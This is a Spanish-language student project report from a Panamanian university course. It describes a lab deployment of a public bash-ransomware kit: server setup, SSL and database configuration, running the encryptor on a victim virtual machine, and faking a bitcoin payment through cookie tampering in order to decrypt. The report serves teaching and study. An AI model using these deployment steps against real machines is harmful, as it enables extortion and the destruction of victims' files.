En este proyecto se aborda el tema del ransomware. Se utilizó los scripts del repositorio en github: https://github.com/SubtleScope/bash-ransomware.
El desarrollo de este proyecto consta de utilizar dos máquinas: una que es el servidor donde se montarán los scripts del repositorio anteriormente mencionado y otra máquina que nos servirá como cliente o víctima para este caso. En la máquina víctima se ejecutará un script que cifrará todos los archivos del mismo.
1. Universidad Tecnológica de Panamá
Facultad de Ingeniería de Sistemas Computacionales
Licenciatura en Ingeniería de Sistema de Información
Curso:
Tópicos 1
Proyecto #1
“Bash-Ransomware”
Facilitador:
Jose Moreno
Integrantes:
Berrocal, Abdiel 8-891-2399
Monteza, Otman 8-892-586
Grupo:
1IF-252
2. En este proyecto se aborda el tema del ransomware. Se utilizó los scripts del
repositorio en github: https://github.com/SubtleScope/bash-ransomware.
El desarrollo de este proyecto consta de utilizar dos máquinas: una que es el
servidor donde se montarán los scripts del repositorio anteriormente mencionado y
otra máquina que nos servirá como cliente o víctima para este caso. En la
máquina víctima se ejecutará un script que cifrará todos los archivos del mismo.
Paso 1:
Crear una máquina virtual (Ubuntu server) que será la máquina server, en la cual
se montarán los scripts.
Para la segunda máquina podemos hacer un clon de la primera, ya que solo
ejecutaremos el script de cifrado en ella.
Figura #1
Paso 2:
Una vez encendida la máquina (Ransom-ServerSide) procederemos a descargar
los archivos del repositorio. Utilizamos el comando git clone para clonar el
repositorio en la máquina.
Comando: git clone https://github.com/SubtleScope/bash-ransomware
Figura #2
Paso 3:
Copiamos el contenido de la carpeta bash-ransomware en la dirección
/var/www/html
3. Le cambiamos los permisos con: chown -R www-data:root /var/www/html
Figura #3
Paso 4:
Dentro de la carpeta html se encuentran los archivos del repositorio que habíamos
clonado con anterioridad. En estos debemos realizar ciertas configuraciones que
la guía en github nos indican.
Imagen #4
En el archivo “target.php” debemos cambiar las líneas donde se manejan las
variables de tiempo (fecha y hora).
Figura #5
4. Paso 5:
Creación de la llave y certificados con openssl.
Figura #6
Una vez hecho esto, los movemos a la siguiente dirección: /etc/ssl/. En esta
existen dos carpetas: certs y private. Los moveremos de la siguiente manera:
Comando para mover el server.crt: mv server.crt /etc/ssl/certs/
Comando para mover el server.key: mv server.key /etc/ssl/private/
Imagen #7
Lo siguiente que haremos es reiniciar el ssl con el comando: a2enmod ssl.
Después reiniciamos el apache con: systemctl restart apache2.
Paso 6: seguimos con las configuraciones, ahora es con el archivo “crypto.sh”.
Primero nos dirigimos a la dirección “/var/www/html” si no nos encontrábamos allí
desde antes. Creamos la carpeta “downloads” con el comando mkdir (Ej. mkdir
downloads).
Configuramos el archivo crypto.sh con lo siguiente:
Figura #8
La primera línea nos indica que en todo el archivo cuando encuentre la cadena
“192.168.1.132” lo cambie por las Y’s (estas Y’s son la Ip de nuestro servidor).
La segunda línea es si lo queremos cambiar por un dominio.
5. Copiamos el archivo “crypto.sh” en la carpeta que habíamos creado “downloads”.
Paso 7: creación de la base de datos victims y exchange.
Creación de “victims”:
Figura #9
Figura #10
Creación de “exchange”:
Figura #11
Figura #12
6. Paso 8: lado del cliente o víctima.
Procedemos a descargar el archivo “crypto.sh”, que es el encargado de cifrar la
máquina cliente (víctima), utilizando el comando “scp” (secure copy) el cual se
comunica con ssh.
Comando: scp -P [#puerto] [user]@[serverip]:/dirección/para/copiar /dirección/para/pegar
O el
Comando: scp -P [#puerto] [user]@[serverip]:/dirección/origen /dirección/destino
Ejemplo: si el #puerto es distinto de 22 se debe escribir después de la opción -P, de otro
modo se puede dejar así.
Comando: scp user@YYY.YYY.YYY.YYY:/var/www/html/downloads/crypto.sh /home/user
Figura #13
Nota: “cuando se ejecuta este comando nos presentará una huella digital para la conexión en el
cual escribiremos “yes” para continuar, luego nos pedirá la contraseña del servidor al cual nos
queremos conectar. Si la contraseña se ingresó correctamente nos descargará (copiará) el archivo
que pedimos en la ruta de destino que elegimos.”
El user se cambia por el nombre de usuario y las Y’s se cambian por la ip del
server que se posea.
Paso 9: ejecución del script “crypto.sh”.
Estando aún en la máquina víctima le damos permiso 755 con el comando:
“chmod 755 crypto.sh”.
Luego lo ejecutamos utilizando sudo ./crypto.sh o si estamos en modo root,
solamente teclear ./crypto.sh.
Esperamos hasta que se termine de cifrar.
Figura #14
Una vez finalizado el cifrado, nos mostrará un mensaje como el de la “figura #14”
con la dirección a visitar y un “id”.
https://192.168.227.100/decrypt.php en este caso.
7. Paso 10: ingresar por medio del browser a la dirección dada en la “figura #14”
Figura #15
Procedemos a ingresar el “id” que nos muestra en la “figura #14”
Figura #16
8. También podemos observar el tiempo que le queda y otra información en
https://192.168.227.100/admin.php
Figura #17
Paso 11: le damos click en “Pay here”. Figura #16. Nos dirigirá al sitio de pago
donde haremos click en: “M4dH4t’z Exchange”.
Figura #18
9. Este a su vez nos dirigirá a esta otra página:
Figura #19
En la “Figura #19” nos registraremos. Este nos dará un (1) bitcoin, sin embargo,
para poder descifrar nuestros archivos necesitaremos 4 más.
Nos registramos utilizando:
Username: bobilibobili
Password: 12345
Figura #20
10. Paso 12: uso de la herramienta “Tamper Data”. Esta herramienta se puede
instalar en el navegador Firefox (navegador utilizado para este proyecto). Solo
debemos ir a instalar extensiones y buscar “Tamper data”.
Figura #21
Figura #22
11. Hacemos click en Tamper Data, luego en “Start” (iniciar).
Una vez iniciado le damos click en registrar, esto accionará lo siguiente en el
Tamper Data:
Figura #23
Le hacemos click en “Tamper”
Figura #24
Si nos fijamos en la figura #24 en la sección “Cookie” podemos observar la
cantidad de bitcoins que nos están dando. En este caso lo modificaremos con otro
valor distinto de uno (1), pero mayor a cinco (5), ya que para poder descifrar
nuestros archivos necesitamos cinco (5) bitcoins, es solo para asegurarnos de
tener los suficientes bitcoins.
Le asignamos cincuenta (50) bitcoins en la sección “Cookie”.
12. Figura #25
Le hacemos click en “OK” en la figura #25.
Figura #26
Nos dará nuestro id de transacción el cual deberemos copiar.
13. Paso 13: ingresar el id de transacción dado anteriormente.
Figura #27
Luego le damos click en “Pay”.
Nos mostrará el tiempo que debemos esperar para poder descifrar nuestros
archivos.
Figura #28
Paso 14: podemos observar nuevamente en https://192.168.227.100/admin.php si
se realizó el pago.
Figura #29
14. Paso 15: descargar los archivos para descifrar.
Figura #30
Paso 16: copiar los archivos descargados a la máquina víctima.
Para este caso utilizamos una tercera máquina con BackBox, en el cual
descargamos los archivos para descifrar y los copiaremos a la máquina victima
utilizando el comando, anteriormente mencionado, “scp”. Esta vez el comando
tendrá un ligero cambio, ya que copiaremos del BackBox a la máquina victima por
lo que escribiremos el comando de esta manera.
Comando: scp /dirección/backbox/copiar user@ipserver:/direccion/destino/pegado
Figura #31
Ejecutamos el decrypto.sh en la máquina víctima con el comando sudo
./decrypto.sh o si estamos en modo root escribir solamente ./decrypto.sh y
deberemos tener después nuestros archivos descifrados.
Figura #32